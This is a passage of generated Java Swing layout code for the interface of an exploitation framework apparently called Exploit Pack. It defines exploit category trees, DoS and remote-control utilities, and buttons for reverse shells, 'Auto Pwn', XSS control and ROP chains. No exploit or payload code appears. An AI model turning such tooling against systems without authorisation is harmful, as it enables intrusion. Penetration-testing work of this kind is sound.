        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("ultrix");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("unix");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("unixware");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("webapps");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("win32");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("win64");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("windows");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("xml");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("hardware");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("multiple");
        treeNode1.add(treeNode2);
        jTreeExploits.setModel(new javax.swing.tree.DefaultTreeModel(treeNode1));
        jTreeExploits.setRootVisible(false);
        jTreeExploits.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTreeExploitsMouseClicked(evt);
            }
        });
        jTreeExploits.addTreeSelectionListener(new javax.swing.event.TreeSelectionListener() {
            public void valueChanged(javax.swing.event.TreeSelectionEvent evt) {
                jTreeExploitsValueChanged(evt);
            }
        });
        jScrollPane1.setViewportView(jTreeExploits);

        jTabbedPane2.addTab("Exploits", jScrollPane1);

        treeNode1 = new javax.swing.tree.DefaultMutableTreeNode("JTree");
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("Scanner");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("DoS");
        treeNode1.add(treeNode2);
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("Remote Control");
        treeNode1.add(treeNode2);
        jTreeTools.setModel(new javax.swing.tree.DefaultTreeModel(treeNode1));
        jTreeTools.setRootVisible(false);
        jTreeTools.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTreeToolsMouseClicked(evt);
            }
        });
        jTreeTools.addTreeSelectionListener(new javax.swing.event.TreeSelectionListener() {
            public void valueChanged(javax.swing.event.TreeSelectionEvent evt) {
                jTreeToolsValueChanged(evt);
            }
        });
        jScrollPane8.setViewportView(jTreeTools);

        jTabbedPane2.addTab("Utilities", jScrollPane8);

        treeNode1 = new javax.swing.tree.DefaultMutableTreeNode("Root");
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("Machines");
        treeNode1.add(treeNode2);
        jTreeNotepad.setModel(new javax.swing.tree.DefaultTreeModel(treeNode1));
        jTreeNotepad.setRootVisible(false);
        jTreeNotepad.addTreeSelectionListener(new javax.swing.event.TreeSelectionListener() {
            public void valueChanged(javax.swing.event.TreeSelectionEvent evt) {
                jTreeNotepadValueChanged(evt);
            }
        });
        jScrollPane18.setViewportView(jTreeNotepad);

        jTabbedPane2.addTab("Targets", jScrollPane18);

        javax.swing.GroupLayout jPanel15Layout = new javax.swing.GroupLayout(jPanel15);
        jPanel15.setLayout(jPanel15Layout);
        jPanel15Layout.setHorizontalGroup(
            jPanel15Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel15Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jTabbedPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 269, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );
        jPanel15Layout.setVerticalGroup(
            jPanel15Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jTabbedPane2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
        );

        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
        jPanel1.setLayout(jPanel1Layout);
        jPanel1Layout.setHorizontalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jPanel15, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel1Layout.createSequentialGroup()
                        .addComponent(jLabel11)
                        .addGap(0, 0, Short.MAX_VALUE))
                    .addGroup(jPanel1Layout.createSequentialGroup()
                        .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                            .addComponent(jScrollPane9)
                            .addComponent(jPanel2, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                        .addContainerGap())))
        );
        jPanel1Layout.setVerticalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addComponent(jPanel15, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jLabel11)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane9, javax.swing.GroupLayout.PREFERRED_SIZE, 112, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(0, 0, 0))
        );

        jToolBar1.setFloatable(false);
        jToolBar1.setRollover(true);
        jToolBar1.add(jSeparator47);

        jButton4.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/new.png"))); // NOI18N
        jButton4.setText("New");
        jButton4.setFocusable(false);
        jButton4.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton4.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton4ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton4);
        jToolBar1.add(jSeparator1);

        jButton3.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/open.png"))); // NOI18N
        jButton3.setText("Open");
        jButton3.setFocusable(false);
        jButton3.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton3.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton3ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton3);
        jToolBar1.add(jSeparator3);

        jButton6.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1316134425_cut_red.png"))); // NOI18N
        jButton6.setText("Cut");
        jButton6.setFocusable(false);
        jButton6.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jToolBar1.add(jButton6);
        jToolBar1.add(jSeparator5);

        jButton7.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1316134439_page_copy.png"))); // NOI18N
        jButton7.setText("Copy");
        jButton7.setFocusable(false);
        jButton7.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jToolBar1.add(jButton7);
        jToolBar1.add(jSeparator6);

        jButton8.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1316134460_page_white_paste.png"))); // NOI18N
        jButton8.setText("Paste");
        jButton8.setToolTipText("");
        jButton8.setFocusable(false);
        jButton8.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jToolBar1.add(jButton8);
        jToolBar1.add(jSeparator7);

        jButton9.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/interface.png"))); // NOI18N
        jButton9.setText("External IP:");
        jButton9.setFocusable(false);
        jButton9.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jToolBar1.add(jButton9);

        jLabelInterface.setText("Interface");
        jToolBar1.add(jLabelInterface);
        jToolBar1.add(jSeparator8);

        jButton10.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1316134599_chart_bar.png"))); // NOI18N
        jButton10.setText("Raw log");
        jButton10.setFocusable(false);
        jButton10.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton10.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton10ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton10);
        jToolBar1.add(jSeparator4);

        jButton12.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/checkupdate.png"))); // NOI18N
        jButton12.setText("Update manager");
        jButton12.setFocusable(false);
        jButton12.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton12.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton12ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton12);
        jToolBar1.add(jSeparator2);

        jButton21.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1418844177_notepad_(edit)_16x16.gif"))); // NOI18N
        jButton21.setText("Notepad");
        jButton21.setToolTipText("");
        jButton21.setFocusable(false);
        jButton21.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton21.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton21ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton21);
        jToolBar1.add(jSeparator12);

        jButton13.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/bugbug.png"))); // NOI18N
        jButton13.setText("Reverse Shell");
        jButton13.setFocusable(false);
        jButton13.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton13.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton13ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton13);
        jToolBar1.add(jSeparator10);

        jButton14.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/robotauto.png"))); // NOI18N
        jButton14.setText("Auto Pwn");
        jButton14.setEnabled(false);
        jButton14.setFocusable(false);
        jButton14.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton14.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton14ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton14);
        jToolBar1.add(jSeparator30);

        jButton25.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/computer-network.png"))); // NOI18N
        jButton25.setText("XSS Control");
        jButton25.setFocusable(false);
        jButton25.setHorizontalAlignment(javax.swing.SwingConstants.TRAILING);
        jButton25.setHorizontalTextPosition(javax.swing.SwingConstants.RIGHT);
        jButton25.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton25.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton25ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton25);
        jToolBar1.add(jSeparator42);

        jButton26.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/agent.png"))); // NOI18N
        jButton26.setText("Exploit Wizard");
        jButton26.setFocusable(false);
        jButton26.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton26.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton26ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton26);
        jToolBar1.add(jSeparator11);

        jButton5.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_text-x-hex_9105.png"))); // NOI18N
        jButton5.setText("HexEditor");
        jButton5.setEnabled(false);
        jButton5.setFocusable(false);
        jButton5.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton5.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton5ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton5);
        jToolBar1.add(jSeparator53);

        jButton33.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1491936605_wizard.png"))); // NOI18N
        jButton33.setText("VBS Wizard");
        jButton33.setFocusable(false);
        jButton33.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton33.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton33ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton33);
        jToolBar1.add(jSeparator35);

        jButton31.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/registerkey.png"))); // NOI18N
        jButton31.setText("Register");
        jButton31.setFocusable(false);
        jButton31.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton31.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton31ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton31);
        jToolBar1.add(jSeparator54);

        jButton35.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_slack_2561388.png"))); // NOI18N
        jButton35.setText("#Slack");
        jButton35.setFocusable(false);
        jButton35.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton35.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton35ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton35);
        jToolBar1.add(jSeparator60);

        jButton36.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_Hola_2744997.png"))); // NOI18N
        jButton36.setText("Advisories");
        jButton36.setFocusable(false);
        jButton36.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton36.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton36ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton36);
        jToolBar1.add(jSeparator58);

        jButton38.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_youtube_834723.png"))); // NOI18N
        jButton38.setText("Youtube!");
        jButton38.setFocusable(false);
        jButton38.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton38.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton38ActionPerformed(evt);
            }
        });
        jToolBar1.add(jButton38);

        jTabbedPane.setBackground(java.awt.Color.white);
        jTabbedPane.setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR));
        jTabbedPane.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTabbedPaneMouseClicked(evt);
            }
        });

        jPanelDashboard.setBackground(java.awt.Color.white);

        jPanel3.setBackground(java.awt.Color.white);
        jPanel3.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Target Properties", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.TOP));

        jLabel1.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/project.png"))); // NOI18N
        jLabel1.setText("Project:");

        jLabel2.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/target.png"))); // NOI18N
        jLabel2.setText("Target:");

        jLabel3.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/port.png"))); // NOI18N
        jLabel3.setText("Port:");

        jLabel4.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/path.png"))); // NOI18N
        jLabel4.setText("Path:");

        jTextFieldProjectN.setText("Exploit Pack");

        jTextFieldTargetH.setText("127.0.0.1");
        jTextFieldTargetH.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTextFieldTargetHMouseClicked(evt);
            }
        });

        jTextFieldTargetP.setText("8080");
        jTextFieldTargetP.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTextFieldTargetPMouseClicked(evt);
            }
        });

        jTextFieldTargetPath.setText("/path/example");

        jLabel5.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/shellcode.png"))); // NOI18N
        jLabel5.setText("Shellcode type:");

        jLabel6.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/options.png"))); // NOI18N
        jLabel6.setText("Special args:");
        jLabel6.setToolTipText("");

        jTextFieldExtraOptions.setText("touch /tmp/ep");
        jTextFieldExtraOptions.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jTextFieldExtraOptionsMouseClicked(evt);
            }
        });
        jTextFieldExtraOptions.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jTextFieldExtraOptionsActionPerformed(evt);
            }
        });

        jTextFieldshellPort.setText("4444");

        jLabel7.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/localport.png"))); // NOI18N
        jLabel7.setText("Shell data/port:");

        jLabel8.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/home.png"))); // NOI18N
        jLabel8.setText("Local hostname:");

        jComboBoxShellcode.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Shellcode.." }));

        jTextFieldLocalHost.setText("My Computer");

        javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
        jPanel3.setLayout(jPanel3Layout);
        jPanel3Layout.setHorizontalGroup(
            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel3Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jLabel2)
                    .addComponent(jLabel3)
                    .addComponent(jLabel4)
                    .addComponent(jLabel1))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
                    .addComponent(jTextFieldTargetP, javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jTextFieldTargetH, javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jTextFieldProjectN, javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jTextFieldTargetPath, javax.swing.GroupLayout.DEFAULT_SIZE, 177, Short.MAX_VALUE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 27, Short.MAX_VALUE)
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
                    .addComponent(jLabel6, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(jLabel8, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(jLabel5, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(jLabel7, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
                    .addComponent(jTextFieldLocalHost)
                    .addComponent(jTextFieldExtraOptions)
                    .addComponent(jComboBoxShellcode, 0, 172, Short.MAX_VALUE)
                    .addComponent(jTextFieldshellPort))
                .addContainerGap())
        );
        jPanel3Layout.setVerticalGroup(
            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel3Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(jPanel3Layout.createSequentialGroup()
                        .addComponent(jTextFieldLocalHost, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addGap(12, 12, 12)
                        .addComponent(jTextFieldshellPort, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jTextFieldExtraOptions, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jComboBoxShellcode, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                    .addGroup(jPanel3Layout.createSequentialGroup()
                        .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jTextFieldProjectN, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                            .addComponent(jLabel1)
                            .addComponent(jLabel8))
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jTextFieldTargetH, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                            .addComponent(jLabel2)
                            .addComponent(jLabel7))
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jTextFieldTargetP, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                            .addComponent(jLabel3)
                            .addComponent(jLabel6))
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jTextFieldTargetPath, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                            .addComponent(jLabel4)
                            .addComponent(jLabel5))))
                .addContainerGap())
        );

        jPanel6.setBackground(java.awt.Color.white);

        jToolBar2.setFloatable(false);
        jToolBar2.setRollover(true);

        jButton16.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/openexploit.png"))); // NOI18N
        jButton16.setText("Add Module");
        jButton16.setFocusable(false);
        jButton16.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton16.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton16ActionPerformed(evt);
            }
        });
        jToolBar2.add(jButton16);
        jToolBar2.add(jSeparator22);

        jButton27.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/newexploit.png"))); // NOI18N
        jButton27.setText("Edit");
        jButton27.setFocusable(false);
        jButton27.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton27.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton27ActionPerformed(evt);
            }
        });
        jToolBar2.add(jButton27);
        jToolBar2.add(jSeparator46);

        jButton17.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/saveexploit.png"))); // NOI18N
        jButton17.setText("Save");
        jButton17.setFocusable(false);
        jButton17.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton17.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton17ActionPerformed(evt);
            }
        });
        jToolBar2.add(jButton17);
        jToolBar2.add(jSeparator23);

        jButton28.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_31_Task_106214.png"))); // NOI18N
        jButton28.setText("Clear");
        jButton28.setFocusable(false);
        jButton28.setHorizontalTextPosition(javax.swing.SwingConstants.RIGHT);
        jButton28.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton28.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton28ActionPerformed(evt);
            }
        });
        jToolBar2.add(jButton28);
        jToolBar2.add(jSeparator51);

        jButton29.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_50_Browser_106194.png"))); // NOI18N
        jButton29.setText("ROP Chain");
        jButton29.setFocusable(false);
        jButton29.setHorizontalTextPosition(javax.swing.SwingConstants.RIGHT);
        jButton29.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton29.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton29ActionPerformed(evt);
            }
        });
        jToolBar2.add(jButton29);
        jToolBar2.add(jSeparator52);

        jButton20.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1418843055_bug.png"))); // NOI18N
        jButton20.setText("Send to Shell");
        jButton20.setToolTipText("");
        jButton20.setFocusable(false);
        jButton20.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton20.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton20ActionPerformed(evt);
            }
        });
        jToolBar2.add(jButton20);
        jToolBar2.add(jSeparator24);

        jButton19.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/exploitpreferences.png"))); // NOI18N
        jButton19.setText("Preferences");
        jButton19.setFocusable(false);
        jButton19.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton19.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton19ActionPerformed(evt);
            }
        });
        jToolBar2.add(jButton19);
        jToolBar2.add(jSeparator25);

        jButton18.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_terminal_298878.png"))); // NOI18N
        jButton18.setText("Run on terminal");
        jButton18.setFocusable(false);
        jButton18.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
        jButton18.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton18ActionPerformed(evt);
            }
        });
        jToolBar2.add(jButton18);

        jPanelEditor.setBackground(java.awt.Color.white);
        jPanelEditor.setBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true));
        jPanelEditor.setAutoscrolls(true);
        jPanelEditor.setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR));
        jPanelEditor.setLayout(new java.awt.BorderLayout());

        javax.swing.GroupLayout jPanel6Layout = new javax.swing.GroupLayout(jPanel6);
        jPanel6.setLayout(jPanel6Layout);
        jPanel6Layout.setHorizontalGroup(
            jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel6Layout.createSequentialGroup()
                .addGroup(jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jToolBar2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jPanelEditor, javax.swing.GroupLayout.DEFAULT_SIZE, 975, Short.MAX_VALUE))
                .addContainerGap())
        );
        jPanel6Layout.setVerticalGroup(
            jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel6Layout.createSequentialGroup()
                .addComponent(jToolBar2, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jPanelEditor, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        jPanel18.setBackground(java.awt.Color.white);
        jPanel18.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Exploit Pack Console", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.TOP));

        jButtonShell.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/arrow-right-16.png"))); // NOI18N
        jButtonShell.setText("Run");
        jButtonShell.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButtonShellActionPerformed(evt);
            }
        });

